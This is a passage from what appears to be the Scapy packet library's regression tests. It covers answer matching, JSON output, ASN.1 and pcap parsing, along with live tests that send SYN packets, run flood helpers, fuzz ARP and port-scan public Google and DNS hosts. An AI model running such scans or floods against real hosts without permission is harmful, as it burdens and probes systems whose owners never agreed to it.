px)\nassert not any(p.answers(p2) for p in px)\nassert not any(p2.answers(p) for p in px)\nconf.checkIPinIP = False\nassert all(p.hashret() == p2.hashret() for p in px)\nassert not any(p.answers(p2) for p in px)\nassert all(p2.answers(p) for p in px)\nconf.checkIPinIP = conf_back\n\n= answers - Net\n~ netaccess\n\na1, a2 = Net(\"www.google.com\"), Net(\"www.secdev.org\")\nprt1, prt2 = 12345, 54321\ns1, s2 = 2767216324, 3845532842\np1 = IP(src=a1, dst=a2)/TCP(flags='SA', seq=s1, ack=s2, sport=prt1, dport=prt2)\np2 = IP(src=a2, dst=a1)/TCP(flags='R', seq=s2, ack=0, sport=prt2, dport=prt1)\nassert p2.answers(p1)\nassert not p1.answers(p2)\n# Not available yet because of IPv6\n# a1, a2 = Net6(\"www.google.com\"), Net6(\"www.secdev.org\")\np1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2)\np2 = IP(src=a2, dst=a1)/TCP(flags='RA', seq=0, ack=s1+1, sport=prt2, dport=prt1)\nassert p2.answers(p1)\nassert not p1.answers(p2)\np1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2)\np2 = IP(src=a2, dst=a1)/TCP(flags='SA', seq=s2, ack=s1+1, sport=prt2, dport=prt1)\nassert p2.answers(p1)\nassert not p1.answers(p2)\np1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1, ack=s2+1, sport=prt1, dport=prt2)\nassert not p2.answers(p1)\nassert p1.answers(p2)\np1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2)\np2 = IP(src=a2, dst=a1)/TCP(flags='SA', seq=s2, ack=s1+10, sport=prt2, dport=prt1)\nassert not p2.answers(p1)\nassert not p1.answers(p2)\np1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1, ack=s2+1, sport=prt1, dport=prt2)\nassert not p2.answers(p1)\nassert not p1.answers(p2)\np1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1+9, ack=s2+10, sport=prt1, dport=prt2)\nassert not p2.answers(p1)\nassert not p1.answers(p2)\n\n= conf.checkIPsrc\n\nconf_checkIPsrc = conf.checkIPsrc\nconf.checkIPsrc = 0\nquery = IP(id=42676, src='10.128.0.7', dst='192.168.0.1')/ICMP(id=26)\nanswer = IP(src='192.168.48.19', dst='10.128.0.7')/ICMP(type=11)/IPerror(id=42676, src='192.168.51.23', dst='192.168.0.1')/ICMPerror(id=26)\nassert answer.answers(query)\nconf.checkIPsrc = conf_checkIPsrc\n\n\n############\n############\n+ command() / json() tests\n~ command\n\n= Test command() with normal packet\n\npkt = IP(dst=\"127.0.0.1\", src=\"127.0.0.1\") / UDP(dport=12345, sport=654)\nassert pkt.command() == \"IP(src='127.0.0.1', dst='127.0.0.1')/UDP(sport=654, dport=12345)\"\n\n= Test json() with normal packet\n\nassert pkt.json() == '{\"version\": 4, \"ihl\": null, \"tos\": 0, \"len\": null, \"id\": 1, \"flags\": 0, \"frag\": 0, \"ttl\": 64, \"proto\": 17, \"chksum\": null, \"src\": \"127.0.0.1\", \"dst\": \"127.0.0.1\", \"payload\": {\"sport\": 654, \"dport\": 12345, \"len\": null, \"chksum\": null}}'\n\n= Test command() with nested packet\n\npkt = DNS(qd=[DNSQR(qtype=\"A\", qname=\"google.com\")])\nassert pkt.command() == \"DNS(qd=[DNSQR(qname=b'google.com.', qtype=1)])\"\n\n= Test json() with nested packet\n\nassert pkt.json() == '{\"length\": null, \"id\": 0, \"qr\": 0, \"opcode\": 0, \"aa\": 0, \"tc\": 0, \"rd\": 1, \"ra\": 0, \"z\": 0, \"ad\": 0, \"cd\": 0, \"rcode\": 0, \"qdcount\": null, \"ancount\": null, \"nscount\": null, \"arcount\": null, \"qd\": [{\"qname\": \"google.com.\", \"qtype\": 1, \"unicastresponse\": 0, \"qclass\": 1}]}'\n\n= Test command() with ASN.1 packet\n\npkt = KRB_AP_REP(bytes(KRB_AP_REP(encPart=EncryptedData())))\nassert pkt.command() == \"KRB_AP_REP(pvno=ASN1_INTEGER(5), msgType=ASN1_INTEGER(15), encPart=EncryptedData(etype=ASN1_INTEGER(23), kvno=None, cipher=ASN1_STRING(b'')))\"\n\n= Test json(à with ASN.1 packet\n\nassert pkt.json() == '{\"pvno\": {\"type\": \"ASN1_INTEGER\", \"value\": \"5\"}, \"msgType\": {\"type\": \"ASN1_INTEGER\", \"value\": \"15\"}, \"encPart\": {\"etype\": {\"type\": \"ASN1_INTEGER\", \"value\": \"23\"}, \"kvno\": null, \"cipher\": {\"type\": \"ASN1_STRING\", \"value\": \"\"}}}'\n\n= Test command() with meaningless payload\n\npkt = PPTPStartControlConnectionReply() / IP(dst=\"127.0.0.1\", src=\"127.0.0.1\")\nassert pkt.command() == \"PPTPStartControlConnectionReply()/IP(src='127.0.0.1', dst='127.0.0.1')\"\n\n= Test json() with meaningless payload\n\nassert pkt.json() == '{\"len\": 156, \"type\": 1, \"magic_cookie\": 439041101, \"ctrl_msg_type\": 2, \"reserved_0\": 0, \"protocol_version\": 256, \"result_code\": 1, \"error_code\": 0, \"framing_capabilities\": 0, \"bearer_capabilities\": 0, \"maximum_channels\": 65535, \"firmware_revision\": 256, \"host_name\": \"linux\", \"vendor_string\": \"\", \"payload\": {\"version\": 4, \"ihl\": null, \"tos\": 0, \"len\": null, \"id\": 1, \"flags\": 0, \"frag\": 0, \"ttl\": 64, \"proto\": 0, \"chksum\": null, \"src\": \"127.0.0.1\", \"dst\": \"127.0.0.1\"}}'\n\n\n############\n############\n+ Tests on padding\n\n= Padding assembly\nr = raw(Padding(\"abc\"))\nr\nassert r == b\"abc\" \nr = raw(Padding(\"abc\")/Padding(\"def\"))\nr\nassert r == b\"abcdef\" \nr = raw(Raw(\"ABC\")/Padding(\"abc\")/Padding(\"def\"))\nr\nassert r == b\"ABCabcdef\" \nr = raw(Raw(\"ABC\")/Padding(\"abc\")/Raw(\"DEF\")/Padding(\"def\"))\nr\nassert r == b\"ABCDEFabcdef\"\n\n= Padding and length computation\np = IP(raw(IP()/Padding(\"abc\")))\np\nassert p.len == 20 and len(p) == 23\np = IP(raw(IP()/Raw(\"ABC\")/Padding(\"abc\")))\np\nassert p.len == 23 and len(p) == 26\np = IP(raw(IP()/Raw(\"ABC\")/Padding(\"abc\")/Padding(\"def\")))\np\nassert p.len == 23 and len(p) == 29\n\n= PadField test\n~ PadField padding\n\nclass TestPad(Packet):\n    fields_desc = [ PadField(StrNullField(\"st\", b\"\"), 6, padwith=b\"\\xff\"), StrField(\"id\", b\"\")]\n\nassert TestPad() == TestPad(raw(TestPad()))\nassert raw(TestPad(st=b\"st\", id=b\"id\")) == b'st\\x00\\xff\\xff\\xffid'\n\n= ReversePadField\n~ PadField padding\n\nclass TestReversePad(Packet):\n    fields_desc = [ ByteField(\"a\", 0),\n                    ReversePadField(IntField(\"b\", 0), 4)]\n\nassert raw(TestReversePad(a=1, b=0xffffffff)) == b'\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff'\nassert TestReversePad(raw(TestReversePad(a=1, b=0xffffffff))).b == 0xffffffff\n\n############\n############\n+ Tests on default value changes mechanism\n\n= Creation of an IPv3 class from IP class with different default values\nclass IPv3(IP):\n    version = 3\n    ttl = 32\n\n= Test of IPv3 class\na = IPv3()\nv,t = a.version, a.ttl\nv,t\nassert (v,t) == (3,32)\nr = raw(a)\nr\nassert r == b'5\\x00\\x00\\x14\\x00\\x01\\x00\\x00 \\x00\\xac\\xe7\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01'\n\n############\n############\n+ ASN.1 tests\n\n= ASN1 - ASN1_Object\nassert ASN1_Object(1) == ASN1_Object(1)\nassert ASN1_Object(1) > ASN1_Object(0)\nassert ASN1_Object(1) >= ASN1_Object(1)\nassert ASN1_Object(0) < ASN1_Object(1)\nassert ASN1_Object(1) <= ASN1_Object(2)\nassert ASN1_Object(1) != ASN1_Object(2)\nASN1_Object(2).show()\n\n= ASN1 - RandASN1Object\na = RandASN1Object()\nrandom.seed(0x2807)\no = bytes(a)\no\nassert o in [\n    b'\\x1e\\x023V',  # PyPy 2.7\n    b'A\\x02\\x07q',  # Python 2.7\n    b'F\\x02\\xfe\\x92',   # python 3.7-3.9\n]\n\n= ASN1 - ASN1_BIT_STRING\na = ASN1_BIT_STRING(\"test\", readable=True)\na\nassert a.val == '01110100011001010111001101110100'\nassert raw(a) == b'\\x03\\x05\\x00test'\n\na = ASN1_BIT_STRING(b\"\\xff\"*16, readable=True)\na\nassert a.val == \"1\" * 128\nassert raw(a) == b'\\x03\\x11\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff'\n\n= ASN1 - ASN1_SEQUENCE\na = ASN1_SEQUENCE([ASN1_Object(1), ASN1_Object(0)])\nassert a.strshow() == '# ASN1_SEQUENCE:\\n  <ASN1_Object[1]>\\n  <ASN1_Object[0]>\\n'\n\n= ASN1 - ASN1_DECODING_ERROR\na = ASN1_DECODING_ERROR(\"error\", exc=OSError(1))\nassert repr(a) == \"<ASN1_DECODING_ERROR['error']{{1}}>\"\nb = ASN1_DECODING_ERROR(\"error\", exc=OSError(ASN1_BIT_STRING(\"0\")))\nassert repr(b) in [\"<ASN1_DECODING_ERROR['error']{{<ASN1_BIT_STRING[0]=b'\\\\x00' (7 unused bits)>}}>\",\n                   \"<ASN1_DECODING_ERROR['error']{{<ASN1_BIT_STRING[0]='\\\\x00' (7 unused bits)>}}>\"]\n\n= ASN1 - ASN1_INTEGER\na = ASN1_INTEGER(int(\"1\"*23))\nassert repr(a) in [\"0x25a55a46e5da99c71c7 <ASN1_INTEGER[1111111111...1111111111]>\",\n                   \"0x25a55a46e5da99c71c7 <ASN1_INTEGER[1111111111...111111111L]>\"]\n\n= ASN1 - ASN1_OID\nassert raw(ASN1_OID(\"\")) == b\"\\x06\\x00\"\n\n= RandASN1Object(), specific crashes\n\nimport random\n\n# ASN1F_NUMERIC_STRING\nrandom.seed(1514315682)\nraw(RandASN1Object())\n\n# ASN1F_VIDEOTEX_STRING\nrandom.seed(1240186058)\nraw(RandASN1Object())\n\n# ASN1F_UTC_TIME & ASN1F_GENERALIZED_TIME\nrandom.seed(1873503288)\nraw(RandASN1Object())\n\n= SSID is parsed properly even with the presence of RSN Information\n~ SSID RSN Information\n# A regression test for https://github.com/secdev/scapy/pull/2685.\n# https://github.com/secdev/scapy/issues/2683 describes a packet with\n# RSN Information that isn't parsed properly,\n# causing the SSID to be overridden.\n# This test checks the SSID is parsed properly.\nfilename = scapy_path(\"/test/pcaps/bad_rsn_parsing_overrides_ssid.pcap\")\nframe = rdpcap(filename)[0]\nbeacon = frame.getlayer(5)\nssid = beacon.network_stats()['ssid']\nassert ssid == \"ROUTE-821E295\"\n\n= SSID is parsed properly even when the Country Information Tag Element has an odd length (not complying with the standard) and a missing pad byte\n~ Missing Pad Byte in Country Info\n# A regression test for https://github.com/secdev/scapy/pull/2685.\n# https://github.com/secdev/scapy/issues/4132 describes a packet with\n# a Country Information element tag that has an odd length, even though it's against the standard.\n# The transmitter should have added a padding byte to make the length even, but it didn't.\n# The effect on scapy used to be improper parsing of the next tag elements, causing the SSID to be overridden.\n# This test checks the SSID is parsed properly.\nfrom io import BytesIO\npcapfile = BytesIO(b'\\n\\r\\r\\n\\x80\\x00\\x00\\x00M<+\\x1a\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x03\\x00\\x10\\x00Linux 6.1.21-v8+\\x04\\x00E\\x00Dumpcap (Wireshark) 3.4.10 (Git v3.4.10 packaged as 3.4.10-0+deb11u1)\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x01\\x00\\x00\\x00@\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x02\\x00\\x05\\x00wifi2\\x00\\x00\\x00\\t\\x00\\x01\\x00\\t\\x00\\x00\\x00\\x0c\\x00\\x10\\x00Linux 6.1.21-v8+\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\xb0\\x01\\x00\\x00\\x00\\x00\\x00\\x00c\\xd3\\x87\\x17\\xe3c5\\x82\\x90\\x01\\x00\\x00\\x90\\x01\\x00\\x00\\x00\\x00 \\x00\\xae@\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\x10\\x0cd\\x14@\\x01\\xa9\\x00\\x0c\\x00\\x00\\x00\\xa6\\x00\\xa8\\x01\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x02\\xbf\\xaf\\x9f\\xf8\\x07\\x02\\xbf\\xaf\\x9f\\xf8\\x070\\x96[p\\xdcM\\x06\\x00\\x00\\x00d\\x00\\x11\\x00\\x00\\x00\\x01\\x08\\x8c\\x12\\x98$\\xb0H`l\\x03\\x01,\\x05\\x04\\x00\\x01\\x00\\x00\\x07QUS \\x01\\r\\x80$\\x01\\x80(\\x01\\x80,\\x01\\x800\\x01\\x804\\x01\\x808\\x01\\x80<\\x01\\x80@\\x01\\x80d\\x01\\x80h\\x01\\x80l\\x01\\x80p\\x01\\x80t\\x01\\x80x\\x01\\x80|\\x01\\x80\\x80\\x01\\x80\\x84\\x01\\x80\\x88\\x01\\x80\\x8c\\x01\\x80\\x90\\x01\\x80\\x95\\x01\\x80\\x99\\x01\\x80\\x9d\\x01\\x80\\xa1\\x01\\x80\\xa5\\x01\\x800\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x0c\\x00;\\x02s\\x00-\\x1a,\\t\\x13\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00,\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=\\x16,\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdd\\x18\\x00P\\xf2\\x02\\x01\\x01\\x81\\x00\\x03\\xa4\\x00\\x00\\'\\xa4\\x00\\x00BC]\\x00a\\x11.\\x00\\xdd;\\x00P\\xf2\\x04\\x10J\\x00\\x01\\x10\\x10D\\x00\\x01\\x02\\x10I\\x00\\x06\\x007*\\x00\\x01 \\x10\\x11\\x00\\x1358\" Hisense Roku TV\\x10T\\x00\\x08\\x00\\x07\\x00P\\xf2\\x04\\x00\\x01\\xdd\\x16\\xc8:k\\x01\\x01\\x1048<@dhlptx|\\x80\\x84\\x88\\x8c\\x90\\xdd\\x12Po\\x9a\\t\\x02\\x02\\x00!\\x0b\\x03\\x06\\x00\\x02\\xbf\\xaf\\x9f\\xf8\\x07\\xdd\\rPo\\x9a\\n\\x00\\x00\\x06\\x01\\x11\\x1cD\\x002\\xf5N\\xfbh\\xb0\\x01\\x00\\x00')\npktpcap = rdpcap(pcapfile)\nframe = pktpcap[0]\nbeacon = frame.getlayer(4)\nstats = beacon.network_stats()\nssid = stats['ssid']\nassert ssid == \"\"\ncountry = stats['country']\nassert country == 'US'\n\n############\n############\n+ Network tests\n\n* Those tests need network access\n\n= Sending and receiving an ICMP\n~ netaccess needs_root IP ICMP icmp_firewall\ndef _test():\n    with no_debug_dissector():\n    \tx = sr1(IP(dst=\"www.google.com\")/ICMP(),timeout=3)\n    assert x is not None\n    x\n    assert x[IP].ottl() in [32, 64, 128, 255]\n    assert 0 <= x[IP].hops() <= 126\n    assert ICMP in x and x[ICMP].type == 0\n\nretry_test(_test)\n\n= Sending a TCP syn message at layer 2 and layer 3\n~ netaccess needs_root IP\ndef _test():\n    tmp = send(IP(dst=\"8.8.8.8\")/TCP(sport=RandShort(), dport=53, flags=\"S\"), return_packets=True, realtime=True)\n    assert len(tmp) == 1\n    \n    tmp = sendp(Ether()/IP(dst=\"8.8.8.8\")/TCP(sport=RandShort(), dport=53, flags=\"S\"), return_packets=True, realtime=True)\n    assert len(tmp) == 1\n    \n    p = Ether()/IP(dst=\"8.8.8.8\")/TCP(sport=RandShort(), dport=53, flags=\"S\")\n    from decimal import Decimal\n    p.time = Decimal(p.time)\n    tmp = sendp(p, return_packets=True, realtime=True)\n    assert len(tmp) == 1\n\nretry_test(_test)\n\n= Latency check: localhost ICMP\n~ netaccess needs_root linux latency\n\n# Note: still needs to enforce L3RawSocket as this won't work otherwise with libpcap\nsock = conf.L3socket\nconf.L3socket = L3RawSocket\n\ndef _test():\n    req = IP(dst=\"127.0.0.1\")/ICMP()\n    ans = sr1(req, timeout=3)\n    assert (ans.time - req.sent_time) >= 0\n    assert (ans.time - req.sent_time) <= 1e-3\n\ntry:\n    retry_test(_test)\nfinally:\n    conf.L3socket = sock\n\n= Test sniffing on multiple sockets\n~ netaccess needs_root sniff\n\n# This test sniffs on the same interface twice at the same time, to\n# simulate sniffing on multiple interfaces.\n\ndef _test():\n\tiface = conf.route.route(str(Net(\"www.google.com\")))[0]\n\tport = int(RandShort())\n\tpkt = IP(dst=\"www.google.com\")/TCP(sport=port, dport=80, flags=\"S\")\n\tdef cb():\n\t    sr1(pkt, timeout=3)\n\tsniffer = AsyncSniffer(started_callback=cb,\n\t\t\t       iface=[iface, iface],\n\t\t\t       lfilter=lambda x: TCP in x and x[TCP].dport == port,\n\t\t\t       prn=lambda x: x.summary(),\n\t\t\t       count=2)\n\tsniffer.start()\n\tsniffer.join(timeout=3)\n\tassert len(sniffer.results) == 2\n\tfor pkt in sniffer.results:\n\t    assert pkt.sniffed_on == iface\n\nretry_test(_test)\n\n= Test sniffing with AsyncSniffer on failed\n\ntry:\n    sniffer = AsyncSniffer(iface=\"this_interface_does_not_exists\")\n    sniffer.start()\n    sniffer.join()\n    assert False, \"Should have errored by now\"\nexcept ValueError:\n    assert True\n\ntry:\n    sniffer = AsyncSniffer(iface=\"this_interface_does_not_exists\")\n    sniffer.start()\n    sniffer.thread.join()\n    sniffer.stop()\n    assert False, \"Should have errored by now\"\nexcept ValueError:\n    assert True\n\n= Sending a TCP syn 'forever' at layer 2 and layer 3\n~ netaccess needs_root IP\ndef _test():\n    tmp = srloop(IP(dst=\"8.8.8.8\")/TCP(sport=RandShort(), dport=53, flags=\"S\"), count=1, timeout=3)\n    assert type(tmp) == tuple and len(tmp[0]) == 1\n    \n    tmp = srploop(Ether()/IP(dst=\"8.8.8.8\")/TCP(sport=RandShort(), dport=53, flags=\"S\"), count=1, timeout=3)\n    assert type(tmp) == tuple and len(tmp[0]) == 1\n\nretry_test(_test)\n\n= Sending and receiving an TCP syn with flooding methods\n~ netaccess needs_root IP flood\nfrom functools import partial\n# flooding methods do not support timeout. Packing the test for security\ndef _test_flood(ip, flood_function, add_ether=False):\n    with no_debug_dissector():\n        p = IP(dst=ip)/TCP(sport=RandShort(), dport=80, flags=\"S\")\n        if add_ether:\n            p = Ether()/p\n        p.show2()\n        x = flood_function(p, timeout=0.5, maxretries=10)\n    if type(x) == tuple:\n        x = x[0][0][1]\n    x\n    assert x[IP].ottl() in [32, 64, 128, 255]\n    assert 0 <= x[IP].hops() <= 126\n\n_test_srflood = partial(_test_flood, \"www.google.com\", srflood)\nretry_test(_test_srflood)\n\n_test_sr1flood = partial(_test_flood, \"www.google.fr\", sr1flood)\nretry_test(_test_sr1flood)\n\n_test_srpflood = partial(_test_flood, \"www.google.net\", srpflood, True)\nretry_test(_test_srpflood)\n\n_test_srp1flood = partial(_test_flood, \"www.google.co.uk\", srp1flood, True)\nretry_test(_test_srp1flood)\n\n= test chainEX\n~ netaccess\n\nimport socket\nsck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nssck = StreamSocket(sck)\n\ntry:\n    r = ssck.sr1(ICMP(type='echo-request'), timeout=0.1, chainEX=True, threaded=False)\n    assert False\nexcept Exception:\n    assert True\nfinally:\n    sck.close()\n\n= Sending and receiving an ICMPv6EchoRequest\n~ netaccess ipv6 needs_root\ndef _test():\n    with no_debug_dissector():\n        x = sr1(IPv6(dst=\"www.google.com\")/ICMPv6EchoRequest(),timeout=3)\n    x\n    assert x[IPv6].ottl() in [32, 64, 128, 255]\n    assert 0 <= x[IPv6].hops() <= 126\n    x is not None and ICMPv6EchoReply in x and x[ICMPv6EchoReply].type == 129\n\nretry_test(_test)\n\n= Whois request\n~ netaccess IP as_resolvers\n* This test retries on failure because it often fails\ndef _test():\n    IP(src=\"8.8.8.8\").whois()\n\nretry_test(_test)\n\n= AS resolvers\n~ netaccess IP as_resolvers\n* This test retries on failure because it often fails\n\ndef _test():\n    ret = conf.AS_resolver.resolve(\"8.8.8.8\", \"8.8.4.4\")\n    assert (len(ret) == 2)\n    assert any(x[1] == \"AS15169\" for x in ret)\n\nretry_test(_test)\n\nriswhois_data = b\"route:      8.8.8.0/24\\ndescr:      Google\\norigin:     AS15169\\nnotify:     radb-contact@google.com\\nmnt-by:     MAINT-AS15169\\nchanged:    radb-contact@google.com 20150728\\nsource:     RADB\\n\\nroute:         8.0.0.0/9\\ndescr:         Proxy-registered route object\\norigin:        AS3356\\nremarks:       auto-generated route object\\nremarks:       this next line gives the robot something to recognize\\nremarks:       L'enfer, c'est les autres\\nremarks:       \\nremarks:       This route object is for a Level 3 customer route\\nremarks:       which is being exported under this origin AS.\\nremarks:       \\nremarks:       This route object was created because no existing\\nremarks:       route object with the same origin was found, and\\nremarks:       since some Level 3 peers filter based on these objects\\nremarks:       this route may be rejected if this object is not created.\\nremarks:       \\nremarks:       Please contact routing@Level3.net if you have any\\nremarks:       questions regarding this object.\\nmnt-by:        LEVEL3-MNT\\nchanged:       roy@Level3.net 20060203\\nsource:        LEVEL3\\n\\n\\n\"\n\nret = AS_resolver_riswhois()._parse_whois(riswhois_data)\nassert ret == ('AS15169', 'Google')\n\nretry_test(_test)\n\n# This test is too buggy, and is simulated below\n#def _test():\n#    ret = AS_resolver_cymru().resolve(\"8.8.8.8\")\n#    assert (len(ret) == 1)\n#    all(x[1] == \"AS15169\" for x in ret)\n#\n#retry_test(_test)\n\ncymru_bulk_data = \"\"\"\nBulk mode; whois.cymru.com [2017-10-03 08:38:08 +0000]\n24776   | 217.25.178.5     | INFOCLIP-AS, FR\n36459   | 192.30.253.112   | GITHUB - GitHub, Inc., US\n26496   | 68.178.213.61    | AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, US\n\"\"\"\ntmp = AS_resolver_cymru().parse(cymru_bulk_data)\nassert len(tmp) == 3\nassert [l[1] for l in tmp] == ['AS24776', 'AS36459', 'AS26496']\n\n= AS resolver - IPv6\n~ netaccess IP as_resolvers\n* This test retries on failure because it often fails\n\ndef _test():\n    as_resolver6 = AS_resolver6()\n    ret = as_resolver6.resolve(\"2001:4860:4860::8888\", \"2001:4860:4860::4444\")\n    assert (len(ret) == 2)\n    assert any(x[1] == 15169 for x in ret)\n\nretry_test(_test)\n\n= AS resolver - socket error\n~ IP\n* This test checks that a failing resolver will not crash a script\n\nclass MockAS_resolver(object):\n  def resolve(self, *ips):\n    raise socket.error\n\nasrm = AS_resolver_multi(MockAS_resolver())\nassert len(asrm.resolve([\"8.8.8.8\", \"8.8.4.4\"])) == 0\n\n= sendpfast\n~ tcpreplay\n\nold_interactive = conf.interactive\nconf.interactive = False\ntry:\n    sendpfast([])\n    assert False\nexcept Exception:\n    assert True\n\nconf.interactive = old_interactive\nassert True\n\n############\n############\n+ Generator tests\n\n= Implicit logic 1\n~ IP TCP\na = Ether() / IP(ttl=(5, 10)) / TCP(dport=[80, 443])\nls(a)\nls(a, verbose=True)\nl = [p for p in a]\nlen(l) == 12\n\n= Implicit logic 2\n~ IP\na = IP(ttl=[1,2,(5,9)])\nls(a)\nls(a, verbose=True)\nl = [p for p in a]\nlen(l) == 7\n\n= Implicit logic 3\n# In case there's a single option: __iter__ should not return self\na = Ether()/IP(src=\"127.0.0.1\", dst=\"127.0.0.1\")/ICMP()\nfor i in a:\n    i.sent_time = 1\n\nassert a.sent_time is None\n\n# In case they are several, self should never be returned\na = Ether()/IP(src=\"127.0.0.1\", dst=\"127.0.0.1\")/ICMP(seq=(0, 5))\nfor i in a:\n    i.sent_time = 1\n\nassert a.sent_time is None\n\n\n############\n############\n+ Real usages\n\n= Port scan\n~ netaccess needs_root IP TCP\ndef _test():\n    with no_debug_dissector():\n        ans,unans=sr(IP(dst=\"www.google.com/30\")/TCP(dport=[80,443]), timeout=2)\n    \n    # New format: all Python versions\n    ans.make_table(lambda s, r: (s.dst, s.dport, r.sprintf(\"{TCP:%TCP.flags%}{ICMP:%ICMP.code%}\")))\n\nretry_test(_test)\n\n= Send & receive with debug_match\n~ netaccess needs_root IP ICMP\ndef _test():\n    old_debug_match = conf.debug_match\n    conf.debug_match = True\n    with no_debug_dissector():\n        ans, unans = sr(IP(dst=\"www.google.fr\") / TCP(sport=RandShort(), dport=80, flags=\"S\"), timeout=2)\n        assert ans[0].query == ans[0][0]\n        assert ans[0].answer == ans[0][1]\n    conf.debug_match = old_debug_match\n    assert ans and not unans\n\nretry_test(_test)\n\n= Send & receive with retry\n~ netaccess needs_root IP ICMP\ndef _test():\n    with no_debug_dissector():\n        ans, unans = sr(IP(dst=[\"8.8.8.8\", \"1.2.3.4\"]) / TCP(sport=RandShort(), dport=53, flags=\"S\"), timeout=2, retry=1)\n    assert len(ans) == 1 and len(unans) == 1\n\nretry_test(_test)\n\n= Send & receive with multi\n~ netaccess needs_root IP ICMP\ndef _test():\n    with no_debug_dissector():\n        ans, unans = sr(IP(dst=[\"8.8.8.8\", \"1.2.3.4\"]) / TCP(sport=RandShort(), dport=53, flags=\"S\"), timeout=2, multi=1)\n    assert len(ans) >= 1 and len(unans) == 1\n\nretry_test(_test)\n\n= Traceroute function\n~ netaccess needs_root tcpdump\n* Let's test traceroute\ndef _test():\n    with no_debug_dissector():\n        ans, unans = traceroute(\"www.slashdot.org\")\n    ans.nsummary()\n    s,r=ans[0]\n    s.show()\n    s.show(2)\n\nretry_test(_test)\n\n= send() and sniff()\n~ netaccess needs_root\n\ndef _test():\n    sendp(Ether()/IP(src=\"9.0.0.0\")/UDP(), count=3, iface=conf.iface)\n\nr = sniff(timeout=3, count=1,\n          lfilter=lambda x: IP in x and x[IP].src == \"9.0.0.0\",\n          iface=conf.iface,\n          started_callback=_test)\n\nassert r\n\n= sniff() with socket failure\n* GH issue 3631\n\nREFPACKET = Ether()/IP()/UDP()\n\n# A socket that fails after 10 packets\nclass OOPipe(ObjectPipe):\n     def recv(self, x=MTU):\n         self.i = getattr(self, \"i\", 0) + 1\n         if self.i == 11:\n             self.close()\n             raise OSError(\"Giant failure\")\n         pkt = super(OOPipe, self).recv(x)\n         self.send(REFPACKET)\n         return pkt\n\no = OOPipe()\no.send(REFPACKET)\n\npkts = sniff(opened_socket=[o], timeout=3)\nassert len(pkts) == 10\n\n= GH issue 3306\n~ netaccess needs_root\n\nsend(fuzz(ARP()))\n\n= Test SuperSocket.select\n~ select\n\nfrom unittest import mock\n\n@mock.patch(\"scapy.supersocket.select\")\ndef _test_select(select):\n    def f(a, b, c, d):\n        raise IOError(0)\n    select.side_effect = f\n    try:\n        SuperSocket.select([])\n        return False\n    except:\n        return True\n\nassert _test_select()\n\n= Test L2ListenTcpdump socket\n~ netaccess\n\n# Needs to be fixed. Fails randomly\n#import time\n#for i in range(10):\n#    read_s = L2ListenTcpdump(iface=conf.iface)\n#    out_s = conf.L2socket(iface=conf.iface)\n#    time.sleep(5)  # wait for read_s to be ready\n#    icmp_r = Ether()/IP(dst=\"secdev.org\")/ICMP()\n#    res = sndrcv(out_s, icmp_r, timeout=5, rcv_pks=read_s)[0]\n#    read_s.close()\n#    out_s.close()\n#    time.sleep(5)\n#    if res:\n#        break\n#\n#response = res[0][1]\n#assert response[ICMP].type == 0\n\nTrue\n\n= Test set of sent_time by sr\n~ netaccess needs_root IP ICMP\ndef _test():\n    packet = IP(dst=\"8.8.8.8\")/ICMP()\n    r = sr(packet, timeout=2)\n    assert packet.sent_time is not None\n\nretry_test(_test)\n\n= Test set of sent_time by sr (multiple packets)\n~ netaccess needs_root IP ICMP\ndef _test():\n    packet1 = IP(dst=\"8.8.8.8\")/ICMP()\n    packet2 = IP(dst=\"8.8.4.4\")/ICMP()\n    r = sr([packet1, packet2], timeout=2)\n    assert packet1.sent_time is not None\n    assert packet2.sent_time is not None\n\nretry_test(_test)\n\n= Test set of sent_time by srflood\n~ netaccess needs_root IP ICMP\ndef _test():\n    packet = IP(dst=\"8.8.8.8\")/ICMP()\n    r = srflood(packet, timeout=0.5)\n    assert packet.sent_time is not None\n\nretry_test(_test)\n\n= Test set of sent_time by srflood (multiple packets)\n~ netaccess needs_root IP ICMP\ndef _test():\n    packet1 = IP(dst=\"8.8.8.8\")/ICMP()\n    packet2 = IP(dst=\"8.8.4.4\")/ICMP()\n    r = srflood([packet1, packet2], timeout=0.5)\n    assert packet1.sent_time is not None\n    assert packet2.sent_time is not None\n\nretry_test(_test)\n\n############\n############\n+ ManuFDB tests\n\n= __repr__\n\nif conf.manufdb:\n    len(conf.manufdb)\nelse:\n    True\n\n= check _resolve_MAC\n\nif conf.manufdb:\n    assert conf.manufdb._resolve_MAC(\"00:00:17\") == \"Oracle\"\nelse:\n    True\n\n\n############\n############\n+ Ether tests with IPv6\n\n= Ether IPv6 checking for dst\n~ netaccess ipv6\n\np = Ether()/IPv6(dst=\"www.google.com\")/TCP()\nassert p.dst != p[IPv6].dst\np.show()\n\n\n############\n############\n+ pcap / pcapng format support\n~ pcap\n\n= Variable creations\nfrom io import BytesIO\nimport base64\npcapfile = 